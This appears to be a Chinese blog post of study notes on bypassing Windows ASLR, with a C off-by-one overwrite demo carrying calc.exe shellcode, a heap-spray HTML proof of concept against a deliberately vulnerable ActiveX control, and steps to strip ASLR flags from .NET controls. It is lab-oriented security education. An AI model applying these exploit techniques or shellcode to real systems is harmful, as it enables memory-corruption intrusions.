• OD: ASLR


    ASLR,Address Space Layout Randomization,通过加载程序的时候不再使用固定的基址,从而干扰 shellcode 定位的一种保护机制,包括映像随机化、堆栈随机化、PEB 与 TEB 随机化。ASLR 的实现也需要程序和操作系统的双重支持,但程序的支持不是必须的。

    ASLR 在 XP 时代已经提出来了,但 XP 上的 ASLR 功能有限,只是对 PEB 和 TEB 进行简单的随机化处理。直到 Windows Vista 出现之后 ASLR 才真正发挥作用。

    支持 ASLR 的程序会在 PE 头中设置 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识。VS 2005 SP1 开始加入了 /dynamicbase 链接选项来支持 ASLR(Project - project Properties - Configuration Properties - Linker - Advanced - Randomized Base Address)。

    映像随机化

    对程序映像的虚拟地址进行随机处理,这个地址是在系统启动时确定的,重启后会变化。映像随机化可以通过注册表来设置:

    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory ManagementMoveImages
    DWORD: 0        Disabled
    DWORD: -1       Force Enabled
    DWORD: other    Normal 

    映像随机化使得通过的跳板指令无效。但映像随机化只对加载基址的前两个字节做了随机处理,各模块入口点的低位 2 字节不变。

    堆栈随机化

    堆栈随机化中,其基址是在每次加载程序时确定的。

    jmp esp 和 heap spray 的运用使得堆栈随机化对溢出利用的影响有限。

    PEB、TEB 随机化

    XP SP2 中引入 PEB、TEB 的随机化,在此之前固定基址: PEB:0x7FFDF000,TEB:0x7FFDE000,获取当前 PEB 和 TEB 的参考代码如下:

     1 #include "stdafx.h"
     2 
     3 int _tmain(int argc, _TCHAR* argv[])
     4 {
     5     unsigned int teb;
     6     unsigned int peb;
     7     __asm{
     8         mov eax,FS:[0x18]
     9         mov teb,eax
    10         mov eax,dword ptr[eax+0x30]
    11         mov peb,eax
    12     }
    13     printf("peb: %#x
    teb: %#x
    ",peb,teb);
    14     getchar();
    15     return 0;
    16 }

    PEB 和 TEB 随机化效果不是很好,而且溢出利用时还有其它方法获得这两个值。

    利用未启用 ASLR 的模块做跳板

    ASLR 是安全机制,但不是行业标准,不支持 ASLR 的程序很多。不支持 ASLR 意味着加载基址固定,如果当前进程中有这个一个模块,就可以用它做跳板。

    Adobe 在 Flash 10 以后的版本才全面支持 Windows 的安全特性,在那之前一直是个危险的切入点。

    书中有一个在 Vista(with flash player 9.0.262)下通过 IE 7.0(with Flash9k.ocx)绕过 ALSR 的例子:Flash9k.ocx 中没有 jmp esp 跳板,而上下文中指向栈中的只有 esp、edx、esi,能用的只有 jmp esi 了。但此时 esi 指向栈顶,栈顶的 jmp esi 跳板地址会被译成指令执行。而例子中合适的 jmp esi 指令的地址译为指令后,将会对 eax 指向的位置进行读操作,所以要先调整 eax。而调整 eax 用的跳板面临同样的问题:指令地址等效的代码不能影响 shellcode 的执行。

    Off-by-One 技术攻击 ASLR

    ASLR 对映像随机化时,只对加载基址的高位 2 字节做了地址随机化,因此可以利用 memcpy()、strcpy() 等进行 Off-by-One 攻击:只要寻找当前模块的踏板,并将跳板低 2 位地址覆盖到返回地址中,就可以溢出成功。

    下面的例子演示了这个思路(之前的 shellcode 在 win7 上使用不了,其 LoadLibraryA() 函数出错,具体原因还没调。这里借用了 SkyLined 的弹出 calc.exe 的 shellcode,所有 32/64 bit Windows 版本通用,能够恢复栈帧,赞一个)。

     1 // aslr_offbyone.cpp : Defines the entry point for the console application.
     2 // env:
     3 //    * Win 7
     4 //    * VS2008 : GS off / Optimization off / DEP off
     5 
     6 #include "stdafx.h"
     7 
     8 char shellcode[]=
     9 "x50x54x58x66x83xE4xF0x50x31xC0x40x92x74x4Fx60x4A"
    10 "x52x68x63x61x6Cx63x54x59x52x51x64x8Bx72x30x8Bx76"
    11 "x0Cx8Bx76x0CxADx8Bx30x8Bx7Ex18x8Bx5Fx3Cx8Bx5Cx1F"
    12 "x78x8Bx74x1Fx20x01xFEx8Bx54x1Fx24x0FxB7x2Cx17x42"
    13 "x42xADx81x3Cx07x57x69x6Ex45x75xF0x8Bx74x1Fx1Cx01"
    14 "xFEx03x3CxAExFFxD7x58x58x61x5Cx92x58xC3x50x51x53"
    15 "x56x57x55xB2x60x68x63x61x6Cx63x54x59x48x29xD4x65"
    16 "x48x8Bx32x48x8Bx76x18x48x8Bx76x10x48xADx48x8Bx30"
    17 "x48x8Bx7Ex30x03x57x3Cx8Bx5Cx17x28x8Bx74x1Fx20x48"
    18 "x01xFEx8Bx54x1Fx24x0FxB7x2Cx17x8Dx52x02xADx81x3C"
    19 "x07x57x69x6Ex45x75xEFx8Bx74x1Fx1Cx48x01xFEx8Bx34"
    20 "xAEx48x01xF7x99xFFxD7x48x83xC4x68x5Dx5Fx5Ex5Bx59"
    21 "x5Ax5Cx58xC3"              // 196 bytes of calc.exe shellcode
    22 "x90x90x90x90x90x90x90x90"
    23 "x38x10"               // 0x****1038 point to call eax in main()
    24 ;
    25 
    26 char * test()
    27 {
    28     char buf[196];
    29     memcpy(buf,shellcode,196+8+2);
    30     return buf;
    31 }
    32 
    33 int _tmain(int argc, _TCHAR* argv[])
    34 {
    35     test();
    36     _asm call eax    // eax contains buf[] returns from test
    37     return 0;
    38 }

    Heap Spray 攻击 ASLR

    Heap Spray 是为了应对堆空间的随机化而产生的技术,ASLR 本质也是随机化处理,Heap Spray 也能应对 ASLR 保护。

    Heap Spray 是攻击浏览器的技术,实验前先生成含有漏洞的浏览器 ocx 控件:MFC ActiveX Control 控件函数代码如下。

     1 // CvulCtrl message handlers
     2 // env:
     3 //   * windows xp sp3
     4 //   * visual studio 2008 mfc activex control
     5 //     optimization off, GS off
     6 //     use mfc in static library, use unicode charset
     7 //     build: release
     8 //
     9 void CvulCtrl::test(LPCTSTR str)
    10 {
    11     //AFX_MANAGE_STATE(AfxGetStaticModuleState());
    12 
    13     // TODO: Add your dispatch handler code here
    14     printf("bookmark
    ");
    15     __asm{
    16         push eax;
    17         mov eax,0x20141104
    18         pop eax
    19     }
    20     char dest[100];
    21     sprintf(dest, "%s", str);
    22 }

    上述代码的第 14~19 行是调试 OllyDbg 时帮助定位的。第 11 行如果不注释的话,生成的控件在第 21 行执行完后会进行某种验证(SXS:%s called with invalid cookie type 0x........),会导致溢出实验失败。

    溢出的 PoC 页面如下(Windows XP sp3 (/NOEXECUTE=OptIn) with IE7):

     1 <html>
     2 <body>
     3 <object classid="clsid:DB30502B-1297-470B-A487-5D2D23967AA3" id="test"></object>
     4 <script>
     5     var shellcode="u68FCu0A6Au1E38u6368uD189u684Fu7432u0C91";
     6     shellcode+="uF48Bu7E8Du33F4uB7DBu2B04u66E3u33BBu5332";
     7     shellcode+="u7568u6573u5472uD233u8B64u305Au4B8Bu8B0C";
     8     shellcode+="u1C49u098Bu698BuAD08u6A3Du380Au751Eu9505";
     9     shellcode+="u57FFu95F8u8B60u3C45u4C8Bu7805uCD03u598B";
    10     shellcode+="u0320u33DDu47FFu348Bu03BBu99F5uBE0Fu3A06";
    11     shellcode+="u74C4uC108u07CAuD003uEB46u3BF1u2454u751C";
    12     shellcode+="u8BE4u2459uDD03u8B66u7B3Cu598Bu031Cu03DD";
    13     shellcode+="uBB2Cu5F95u57ABu3D61u0A6Au1E38uA975uDB33";
    14     shellcode+="u6853u6577u7473u6668u6961u8B6Cu53C4u5050";
    15     shellcode+="uFF53uFC57uFF53uF857"; //168b msgbox shellcode
    16 
    17     var nops=unescape("%u9090%u9090");
    18     while(nops.length<0x100000/2)
    19         nops+=nops;
    20     nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
    21     nops=nops+shellcode;
    22 
    23     var memory=new Array();
    24     for(var i=0;i<200;i++)
    25         memory[i]+=nops;
    26 
    27     var s="u9090";
    28     while(s.length<54)
    29         s+="u9090";
    30     s+="u0c0cu0c0c";   // exploit return address
    31     //confirm("ready to exploit ...");    // debug
    32     test.test(s);
    33 </script>
    34 </body>
    35 </html>

    这个实验中,vul.ocx 的 uuid 填错,折腾了很久才发现。js 中的代码写错,也折腾很久才改好。如果对 js 熟悉点,不至于耽误这么多时间调试……*_*

    Hit:

      * 调试时可以借助 ocx 中的标记,只要搜索 mov eax,0x20141104 或者 pop eax (用 Ctrl+B 搜)

      * 在 Memory 视图中能对内存段设断点(F2),网上还有人提供了一些其它方法,如设置条件断点:点击这里

      * 书中有个利用 java applet(jdk<1.5, -target 1.1)进行 Heap Spray 来绕过 ALSR 的例子

    为 .NET 控件禁用 ASLR

    Alexander Sotirov 在 2008 年的 BlackHat 上披露了 PE 文件是否启用 ASLR 的校验过程:

    1 if ( !(pBinaryInfo->pHeaderInfo->usDllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE) &&
    2      !(pBinaryInfo->pHeaderInfo->bFlags & PINFO_IL_ONLY_IMAGE) &&
    3      !(_MnMoveImages == -1) )
    4    {
    5         _MiNoRelocate++;
    6         return 0;
    7    }

    可见只要满足以下任意条件该 PE 文件启用 ASLR

    1 PE 头中含有 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识
    2 IL-ONLY 文件,对 .NET 进行了特殊照顾
    3 _MnMoveImages 值为 -1,强制 ASLR

    所以,不管是否设置了 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,含有 IL-ONLY 标识的 .NET 程序/控件都会启用 ASLR。系统验证 .NET 文件是不是 IL-ONLY 的流程如下:

    1 if ( ( (pCORHeader->MajorRuntimeVersion>2) || (pCORHeader->MajorRuntimeVersion==2 && pCORHeader->MinorRuntimeVersion>=5) ) &&
    2      (pCONHeader->Flags & COMIMAGE_FLAGS_ILONLY) )
    3    {
    4         pImageControlArea->pBinaryInfo->pHeaderInfo->bFlags |= PINFO_IL_ONLY_IMAGE;
    5         ......
    6    }

    系统检查一个 .NET 文件是否具有 COMIMAGE_FLAGS_ILONLY 标识前会对该文件的运行时版本进行判断,如果版本号低于 2.5,该文件就不会被认定为 IL-ONLY。

    可以用 CFF Explorer 来修改 .NET 文件/控件的 PE 头,去掉 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,然后将运行版本号改为小于 2.5 就可以。配合之前 DEP 的例子,可以用这样的 .NET 控件绕过 DEP 和 ASLR

  • 相关阅读:
    TFS 2012使用简介(一)
    Android手机应用程序开发环境配置(Eclipse+Java+ADT)
    关于 all-delete-orphan
    Rest中的XML与JSON的序列化与反序列化
    C#Base64编码
    Visual Studio 2013支持Xamarin的解决方案
    【转】[WCF REST] 帮助页面与自动消息格式(JSON/XML)选择
    【转】 MEF 和 MAF
    Enable tfs feature in sharepoint
    Using a local farm account for a SharePoint 2013 installation
  • 原文地址:https://www.cnblogs.com/exclm/p/4064388.html
Copyright © 2020-2023  润新知